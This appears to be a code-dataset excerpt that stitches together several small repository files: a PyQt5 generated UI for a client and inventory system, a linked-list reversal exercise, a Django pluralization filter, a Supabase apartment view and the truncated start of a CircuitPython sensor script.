self.horizontalLayout_4.addWidget(self.date_cliente)\r\n self.verticalLayout_4.addWidget(self.widget_7)\r\n self.widget_4 = QtWidgets.QWidget(self.widget_6)\r\n self.widget_4.setObjectName(\"widget_4\")\r\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.widget_4)\r\n self.horizontalLayout_3.setContentsMargins(0, -1, -1, -1)\r\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\r\n self.insert_nome = QtWidgets.QLineEdit(self.widget_4)\r\n self.insert_nome.setMinimumSize(QtCore.QSize(199, 61))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_nome.setFont(font)\r\n self.insert_nome.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_nome.setObjectName(\"insert_nome\")\r\n self.horizontalLayout_3.addWidget(self.insert_nome)\r\n self.insert_carro = QtWidgets.QLineEdit(self.widget_4)\r\n self.insert_carro.setMinimumSize(QtCore.QSize(199, 61))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_carro.setFont(font)\r\n self.insert_carro.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_carro.setObjectName(\"insert_carro\")\r\n self.horizontalLayout_3.addWidget(self.insert_carro)\r\n self.insert_numero = QtWidgets.QLineEdit(self.widget_4)\r\n self.insert_numero.setMinimumSize(QtCore.QSize(199, 61))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_numero.setFont(font)\r\n self.insert_numero.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_numero.setObjectName(\"insert_numero\")\r\n self.horizontalLayout_3.addWidget(self.insert_numero)\r\n self.insert_placa = QtWidgets.QLineEdit(self.widget_4)\r\n self.insert_placa.setMinimumSize(QtCore.QSize(199, 61))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_placa.setFont(font)\r\n self.insert_placa.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_placa.setObjectName(\"insert_placa\")\r\n self.horizontalLayout_3.addWidget(self.insert_placa)\r\n spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.Minimum)\r\n self.horizontalLayout_3.addItem(spacerItem3)\r\n self.verticalLayout_4.addWidget(self.widget_4)\r\n self.widget_9 = QtWidgets.QWidget(self.widget_6)\r\n self.widget_9.setObjectName(\"widget_9\")\r\n self.horizontalLayout_8 = QtWidgets.QHBoxLayout(self.widget_9)\r\n self.horizontalLayout_8.setObjectName(\"horizontalLayout_8\")\r\n self.table_cliente = QtWidgets.QTableWidget(self.widget_9)\r\n font = QtGui.QFont()\r\n font.setPointSize(10)\r\n self.table_cliente.setFont(font)\r\n self.table_cliente.setStyleSheet(\"QTableWidget {\\n\"\r\n\" gridline-color: rgb(37, 77, 122);\\n\"\r\n\" background-color: transparent;\\n\"\r\n\" outline: 0;\\n\"\r\n\" border: 1px solid rgb(37, 77, 122);\\n\"\r\n\" border-top: 0px\\n\"\r\n\" \\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QTableWidget::item:selected{\\n\"\r\n\" background-color: rgb(87, 135, 189);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QTableWidget::horizontalHeader { \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QHeaderView::section:horizontal\\n\"\r\n\"{\\n\"\r\n\" border: 1px solid rgb(37, 77, 122);\\n\"\r\n\" background-color: transparent;\\n\"\r\n\" border-left: 0px;\\n\"\r\n\" color: black;\\n\"\r\n\"\\n\"\r\n\"}\\n\"\r\n\"\")\r\n self.table_cliente.setFrameShadow(QtWidgets.QFrame.Sunken)\r\n self.table_cliente.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection)\r\n self.table_cliente.setShowGrid(True)\r\n self.table_cliente.setObjectName(\"table_cliente\")\r\n self.table_cliente.setColumnCount(5)\r\n self.table_cliente.setRowCount(0)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n item.setFont(font)\r\n self.table_cliente.setHorizontalHeaderItem(0, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(11)\r\n item.setFont(font)\r\n self.table_cliente.setHorizontalHeaderItem(1, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n item.setFont(font)\r\n self.table_cliente.setHorizontalHeaderItem(2, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(11)\r\n item.setFont(font)\r\n self.table_cliente.horizontalHeader().setSectionResizeMode(1, QtWidgets.QHeaderView.Stretch)\r\n self.table_cliente.horizontalHeader().setSectionResizeMode(2, QtWidgets.QHeaderView.Stretch)\r\n self.table_cliente.horizontalHeader().setSectionResizeMode(3, QtWidgets.QHeaderView.Stretch)\r\n self.table_cliente.horizontalHeader().setSectionResizeMode(4, QtWidgets.QHeaderView.Stretch)\r\n self.table_cliente.setHorizontalHeaderItem(3, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(11)\r\n item.setFont(font)\r\n self.table_cliente.setHorizontalHeaderItem(4, item)\r\n self.table_cliente.horizontalHeader().setVisible(True)\r\n self.table_cliente.horizontalHeader().setHighlightSections(False)\r\n self.table_cliente.horizontalHeader().setSortIndicatorShown(False)\r\n self.table_cliente.horizontalHeader().setStretchLastSection(False)\r\n self.table_cliente.verticalHeader().setVisible(False)\r\n self.table_cliente.verticalHeader().setCascadingSectionResizes(False)\r\n self.table_cliente.verticalHeader().setHighlightSections(False)\r\n self.table_cliente.verticalHeader().setMinimumSectionSize(20)\r\n self.table_cliente.verticalHeader().setSortIndicatorShown(False)\r\n self.table_cliente.verticalHeader().setStretchLastSection(False)\r\n self.horizontalLayout_8.addWidget(self.table_cliente)\r\n self.widget_10 = QtWidgets.QWidget(self.widget_9)\r\n self.widget_10.setObjectName(\"widget_10\")\r\n self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.widget_10)\r\n self.verticalLayout_8.setObjectName(\"verticalLayout_8\")\r\n self.btn_cadastrar_cliente = QtWidgets.QPushButton(self.widget_10)\r\n self.btn_cadastrar_cliente.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_cadastrar_cliente.setFont(font)\r\n self.btn_cadastrar_cliente.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_cadastrar_cliente.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_cadastrar_cliente.setObjectName(\"btn_cadastrar_cliente\")\r\n self.verticalLayout_8.addWidget(self.btn_cadastrar_cliente)\r\n spacerItem4 = QtWidgets.QSpacerItem(18, 30, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.verticalLayout_8.addItem(spacerItem4)\r\n self.btn_alterar_cliente = QtWidgets.QPushButton(self.widget_10)\r\n self.btn_alterar_cliente.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_alterar_cliente.setFont(font)\r\n self.btn_alterar_cliente.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_alterar_cliente.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_alterar_cliente.setObjectName(\"btn_alterar_cliente\")\r\n self.verticalLayout_8.addWidget(self.btn_alterar_cliente)\r\n spacerItem5 = QtWidgets.QSpacerItem(20, 30, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.verticalLayout_8.addItem(spacerItem5)\r\n self.btn_registration_4 = QtWidgets.QPushButton(self.widget_10)\r\n self.btn_registration_4.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_registration_4.setFont(font)\r\n self.btn_registration_4.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_registration_4.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_registration_4.setObjectName(\"btn_registration_4\")\r\n self.verticalLayout_8.addWidget(self.btn_registration_4)\r\n self.horizontalLayout_8.addWidget(self.widget_10, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)\r\n self.verticalLayout_4.addWidget(self.widget_9)\r\n self.verticalLayout_3.addWidget(self.widget_6)\r\n self.stackedWidget.addWidget(self.page_clientes)\r\n self.page_estoque = QtWidgets.QWidget()\r\n self.page_estoque.setObjectName(\"page_estoque\")\r\n self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.page_estoque)\r\n self.verticalLayout_5.setObjectName(\"verticalLayout_5\")\r\n self.widget = QtWidgets.QWidget(self.page_estoque)\r\n self.widget.setObjectName(\"widget\")\r\n self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.widget)\r\n self.verticalLayout_6.setSpacing(16)\r\n self.verticalLayout_6.setObjectName(\"verticalLayout_6\")\r\n self.txt_sistema_estoque = QtWidgets.QLabel(self.widget)\r\n font = QtGui.QFont()\r\n font.setPointSize(22)\r\n self.txt_sistema_estoque.setFont(font)\r\n self.txt_sistema_estoque.setStyleSheet(\"QLabel{\\n\"\r\n\" color: rgb(37, 77, 122) ; \\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.txt_sistema_estoque.setObjectName(\"txt_sistema_estoque\")\r\n self.verticalLayout_6.addWidget(self.txt_sistema_estoque)\r\n self.widget_2 = QtWidgets.QWidget(self.widget)\r\n self.widget_2.setObjectName(\"widget_2\")\r\n self.horizontalLayout_5 = QtWidgets.QHBoxLayout(self.widget_2)\r\n self.horizontalLayout_5.setContentsMargins(0, -1, -1, -1)\r\n self.horizontalLayout_5.setSpacing(0)\r\n self.horizontalLayout_5.setObjectName(\"horizontalLayout_5\")\r\n self.img_lupa = QtWidgets.QLabel(self.widget_2)\r\n self.img_lupa.setMinimumSize(QtCore.QSize(51, 43))\r\n self.img_lupa.setMaximumSize(QtCore.QSize(51, 16777215))\r\n self.img_lupa.setStyleSheet(\"QLabel{\\n\"\r\n\"\\n\"\r\n\" background-color: rgb(37, 77, 122)\\n\"\r\n\"}\")\r\n self.img_lupa.setText(\"\")\r\n self.img_lupa.setPixmap(QtGui.QPixmap(\":/img/Nova pasta/lupa.png\"))\r\n self.img_lupa.setScaledContents(True)\r\n self.img_lupa.setWordWrap(False)\r\n self.img_lupa.setIndent(1)\r\n self.img_lupa.setObjectName(\"img_lupa\")\r\n self.horizontalLayout_5.addWidget(self.img_lupa)\r\n self.pesquisar = QtWidgets.QLineEdit(self.widget_2)\r\n self.pesquisar.setMinimumSize(QtCore.QSize(0, 43))\r\n self.pesquisar.setMaximumSize(QtCore.QSize(282, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(14)\r\n font.setBold(False)\r\n font.setWeight(50)\r\n self.pesquisar.setFont(font)\r\n self.pesquisar.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"\")\r\n self.pesquisar.setObjectName(\"pesquisar\")\r\n self.horizontalLayout_5.addWidget(self.pesquisar)\r\n spacerItem6 = QtWidgets.QSpacerItem(406, 20, QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.Minimum)\r\n self.horizontalLayout_5.addItem(spacerItem6)\r\n self.date_estoque = QtWidgets.QLineEdit(self.widget_2)\r\n self.date_estoque.setMaximumSize(QtCore.QSize(135, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(21)\r\n self.date_estoque.setFont(font)\r\n self.date_estoque.setFocusPolicy(QtCore.Qt.NoFocus)\r\n self.date_estoque.setLayoutDirection(QtCore.Qt.RightToLeft)\r\n self.date_estoque.setStyleSheet(\"color:rgb(37, 77, 122);\")\r\n self.date_estoque.setObjectName(\"date_estoque\")\r\n self.horizontalLayout_5.addWidget(self.date_estoque)\r\n self.verticalLayout_6.addWidget(self.widget_2)\r\n self.widget_3 = QtWidgets.QWidget(self.widget)\r\n self.widget_3.setObjectName(\"widget_3\")\r\n self.horizontalLayout_6 = QtWidgets.QHBoxLayout(self.widget_3)\r\n self.horizontalLayout_6.setContentsMargins(0, -1, -1, -1)\r\n self.horizontalLayout_6.setObjectName(\"horizontalLayout_6\")\r\n self.insert_product = QtWidgets.QLineEdit(self.widget_3)\r\n self.insert_product.setMinimumSize(QtCore.QSize(259, 61))\r\n self.insert_product.setMaximumSize(QtCore.QSize(320, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_product.setFont(font)\r\n self.insert_product.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_product.setObjectName(\"insert_product\")\r\n self.horizontalLayout_6.addWidget(self.insert_product)\r\n self.insert_quantidade = QtWidgets.QLineEdit(self.widget_3)\r\n self.insert_quantidade.setMinimumSize(QtCore.QSize(259, 61))\r\n self.insert_quantidade.setMaximumSize(QtCore.QSize(320, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_quantidade.setFont(font)\r\n self.insert_quantidade.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_quantidade.setObjectName(\"insert_quantidade\")\r\n self.horizontalLayout_6.addWidget(self.insert_quantidade)\r\n spacerItem7 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\r\n self.horizontalLayout_6.addItem(spacerItem7)\r\n self.verticalLayout_6.addWidget(self.widget_3)\r\n self.widget_5 = QtWidgets.QWidget(self.widget)\r\n self.widget_5.setObjectName(\"widget_5\")\r\n self.horizontalLayout_7 = QtWidgets.QHBoxLayout(self.widget_5)\r\n self.horizontalLayout_7.setObjectName(\"horizontalLayout_7\")\r\n self.table_estoque = QtWidgets.QTableWidget(self.widget_5)\r\n font = QtGui.QFont()\r\n font.setPointSize(10)\r\n self.table_estoque.setFont(font)\r\n self.table_estoque.setStyleSheet(\"QTableWidget {\\n\"\r\n\" gridline-color: rgb(37, 77, 122);\\n\"\r\n\" background-color: transparent;\\n\"\r\n\" outline: 0;\\n\"\r\n\" border: 1px solid rgb(37, 77, 122);\\n\"\r\n\" border-top: 0px\\n\"\r\n\" \\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QTableWidget::item:selected{\\n\"\r\n\" background-color: rgb(87, 135, 189);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QTableWidget::horizontalHeader { \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QHeaderView::section:horizontal\\n\"\r\n\"{\\n\"\r\n\" border: 1px solid rgb(37, 77, 122);\\n\"\r\n\" background-color: transparent;\\n\"\r\n\" border-left: 0px;\\n\"\r\n\" color: black;\\n\"\r\n\"\\n\"\r\n\"}\\n\"\r\n\"\")\r\n\r\n self.table_estoque.setFrameShadow(QtWidgets.QFrame.Sunken)\r\n self.table_estoque.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection)\r\n self.table_estoque.setShowGrid(True)\r\n self.table_estoque.setObjectName(\"table_estoque\")\r\n self.table_estoque.setColumnCount(3)\r\n self.table_estoque.setRowCount(0)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(11)\r\n item.setFont(font)\r\n self.table_estoque.setHorizontalHeaderItem(0, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n item.setFont(font)\r\n self.table_estoque.setHorizontalHeaderItem(1, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(11)\r\n item.setFont(font)\r\n self.table_estoque.horizontalHeader().setSectionResizeMode(1, QtWidgets.QHeaderView.Stretch)\r\n self.table_estoque.setHorizontalHeaderItem(2, item)\r\n self.table_estoque.horizontalHeader().setVisible(True)\r\n self.table_estoque.horizontalHeader().setHighlightSections(False)\r\n self.table_estoque.horizontalHeader().setSortIndicatorShown(False)\r\n self.table_estoque.horizontalHeader().setStretchLastSection(False)\r\n self.table_estoque.verticalHeader().setVisible(False)\r\n self.table_estoque.verticalHeader().setCascadingSectionResizes(False)\r\n self.table_estoque.verticalHeader().setHighlightSections(False)\r\n self.table_estoque.verticalHeader().setMinimumSectionSize(20)\r\n self.table_estoque.verticalHeader().setSortIndicatorShown(False)\r\n self.table_estoque.verticalHeader().setStretchLastSection(False)\r\n self.horizontalLayout_7.addWidget(self.table_estoque)\r\n self.widget_8 = QtWidgets.QWidget(self.widget_5)\r\n self.widget_8.setObjectName(\"widget_8\")\r\n self.verticalLayout_7 = QtWidgets.QVBoxLayout(self.widget_8)\r\n self.verticalLayout_7.setObjectName(\"verticalLayout_7\")\r\n self.btn_cadastrar_estoque = QtWidgets.QPushButton(self.widget_8)\r\n self.btn_cadastrar_estoque.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_cadastrar_estoque.setFont(font)\r\n self.btn_cadastrar_estoque.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_cadastrar_estoque.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_cadastrar_estoque.setObjectName(\"btn_cadastrar_estoque\")\r\n self.verticalLayout_7.addWidget(self.btn_cadastrar_estoque)\r\n spacerItem8 = QtWidgets.QSpacerItem(20, 30, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.verticalLayout_7.addItem(spacerItem8)\r\n self.btn_alterar_estoque = QtWidgets.QPushButton(self.widget_8)\r\n self.btn_alterar_estoque.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_alterar_estoque.setFont(font)\r\n self.btn_alterar_estoque.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_alterar_estoque.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_alterar_estoque.setObjectName(\"btn_alterar_estoque\")\r\n self.verticalLayout_7.addWidget(self.btn_alterar_estoque)\r\n spacerItem9 = QtWidgets.QSpacerItem(20, 30, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.verticalLayout_7.addItem(spacerItem9)\r\n self.btn_excluir_estoque = QtWidgets.QPushButton(self.widget_8)\r\n self.btn_excluir_estoque.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_excluir_estoque.setFont(font)\r\n self.btn_excluir_estoque.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_excluir_estoque.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_excluir_estoque.setObjectName(\"btn_excluir_estoque\")\r\n self.verticalLayout_7.addWidget(self.btn_excluir_estoque)\r\n self.horizontalLayout_7.addWidget(self.widget_8, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)\r\n self.verticalLayout_6.addWidget(self.widget_5)\r\n self.verticalLayout_5.addWidget(self.widget)\r\n self.stackedWidget.addWidget(self.page_estoque)\r\n self.verticalLayout.addWidget(self.stackedWidget)\r\n self.horizontalLayout.addWidget(self.conteudo)\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n\r\n self.retranslateUi(MainWindow)\r\n self.stackedWidget.setCurrentIndex(1)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n\r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\r\n self.txt_bem_vindo.setText(_translate(\"MainWindow\", \"bem vindo\"))\r\n self.txt_cadastrar.setText(_translate(\"MainWindow\", \"CADASTRAR CLIENTE\"))\r\n self.pesquisar_2.setPlaceholderText(_translate(\"MainWindow\", \"Pesquisar\"))\r\n self.date_cliente.setText(_translate(\"MainWindow\", \"12:12:12\"))\r\n self.insert_nome.setPlaceholderText(_translate(\"MainWindow\", \"Nome\"))\r\n self.insert_carro.setPlaceholderText(_translate(\"MainWindow\", \"Carro\"))\r\n self.insert_numero.setPlaceholderText(_translate(\"MainWindow\", \"Numero\"))\r\n self.insert_placa.setPlaceholderText(_translate(\"MainWindow\", \"Placa\"))\r\n item = self.table_cliente.horizontalHeaderItem(0)\r\n item.setText(_translate(\"MainWindow\", \"cod\"))\r\n item = self.table_cliente.horizontalHeaderItem(1)\r\n item.setText(_translate(\"MainWindow\", \"Nome\"))\r\n item = self.table_cliente.horizontalHeaderItem(2)\r\n item.setText(_translate(\"MainWindow\", \"Carro\"))\r\n item = self.table_cliente.horizontalHeaderItem(3)\r\n item.setText(_translate(\"MainWindow\", \"Placa\"))\r\n item = self.table_cliente.horizontalHeaderItem(4)\r\n item.setText(_translate(\"MainWindow\", \"Numero\"))\r\n self.btn_cadastrar_cliente.setText(_translate(\"MainWindow\", \"cadastrar\"))\r\n self.btn_alterar_cliente.setText(_translate(\"MainWindow\", \"Alterar\"))\r\n self.btn_registration_4.setText(_translate(\"MainWindow\", \"Excluir\"))\r\n self.txt_sistema_estoque.setText(_translate(\"MainWindow\", \"SISTEMA DE ESTOQUE\"))\r\n self.pesquisar.setPlaceholderText(_translate(\"MainWindow\", \"Pesquisar\"))\r\n self.date_estoque.setText(_translate(\"MainWindow\", \"12:12:12\"))\r\n self.insert_product.setPlaceholderText(_translate(\"MainWindow\", \"Produto\"))\r\n self.insert_quantidade.setPlaceholderText(_translate(\"MainWindow\", \"Quantidade\"))\r\n item = self.table_estoque.horizontalHeaderItem(0)\r\n item.setText(_translate(\"MainWindow\", \"Cod\"))\r\n item = self.table_estoque.horizontalHeaderItem(1)\r\n item.setText(_translate(\"MainWindow\", \"Produto\"))\r\n item = self.table_estoque.horizontalHeaderItem(2)\r\n item.setText(_translate(\"MainWindow\", \"Quantidade\"))\r\n self.btn_cadastrar_estoque.setText(_translate(\"MainWindow\", \"cadastrar\"))\r\n self.btn_alterar_estoque.setText(_translate(\"MainWindow\", \"Alterar\"))\r\n self.btn_excluir_estoque.setText(_translate(\"MainWindow\", \"Excluir\"))\r\n\r\nimport files_rc.img_rc as img_rc","repo_name":"Gustavodeoliveiraa/Sistema","sub_path":"estoque.py","file_name":"estoque.py","file_ext":"py","file_size_in_byte":38396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"71613288132","text":"# 연결 리스트를 뒤집어라.\n\ninput = [1, 2, 3, 4, 5, None]\n\n\nclass ListNode:\n def __init__(self, val):\n self.val = val\n self.next = None\n\n\nl1 = [ListNode(lst) for lst in input]\n\ntry:\n for idx, lst in enumerate(l1):\n lst.next = l1[idx + 1]\nexcept:\n pass\n\n\nclass solution:\n def reverseList(self, head: ListNode) -> ListNode:\n node, prev = head, None\n\n while node:\n next, node.next = node.next, prev\n prev, node = node, next\n\n return prev\n\n\nsol = solution()\n\n\nresult = sol.reverseList(l1[0])\n\nwhile result:\n print(result.val)\n result = result.next\n","repo_name":"ShinguHan/myAlgorithm","sub_path":"015_역순연결리스트-2.py","file_name":"015_역순연결리스트-2.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42790199655","text":"from django import template\n\n# Это чтобы register.filter работал\nregister = template.Library()\n\n# Расскажем django о нашем крутом фильтре\n@register.filter\ndef rupluralize(value, arg=\"результат,результата,результатов\"):\n args = arg.split(\",\")\n number = abs(int(value))\n a = number % 10\n b = number % 100\n\n if (a == 1) and (b != 11):\n return args[0]\n elif (a >= 2) and (a <= 4) and ((b < 10) or (b >= 20)):\n return args[1]\n else:\n return args[2]","repo_name":"artem-svistelnik/diplom","sub_path":"diplomapp/templatetags/rupluralize.py","file_name":"rupluralize.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"2565475476","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom supabase import create_client \nfrom django.conf import settings\nfrom setup.utils.get_table_data import get_table_data\n\ndef index(request):\n data = get_table_data('apartments_apartment')\n\n context = {\n 'data': data,\n }\n\n return render(request, 'apartments/index.html', context)\n\ndef send_apartment_to_supabase(request):\n number = request.POST.get('number')\n bedrooms = request.POST.get('bedrooms')\n bathrooms = request.POST.get('bathrooms')\n description = request.POST.get('description')\n\n supabase = create_client(settings.SUPABASE_URL, settings.SUPABASE_KEY)\n\n dados = [{'number': number, 'bedrooms': bedrooms, 'bathrooms': bathrooms, 'description': description}]\n resultado, erro = supabase.table('apartments_apartment').upsert(dados).execute()\n\n return redirect('apartments_index')\n","repo_name":"WesleyBortoloso/condify_app","sub_path":"apartments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"7824546603","text":"import alarm\nimport time\nimport board\nimport ipaddress\nimport ssl\nimport wifi\nimport socketpool\nimport adafruit_requests\nfrom secrets import secrets\nimport adafruit_scd4x\nimport adafruit_bmp280\nfrom adafruit_lc709203f import LC709203F\nimport terminalio\nfrom adafruit_display_text import label\nimport displayio\nimport adafruit_imageload\nimport adafruit_il0373\nfrom adafruit_io.adafruit_io import IO_HTTP, AdafruitIO_RequestError\nfrom adafruit_bitmap_font import bitmap_font\n\nspi = board.SPI() # Uses 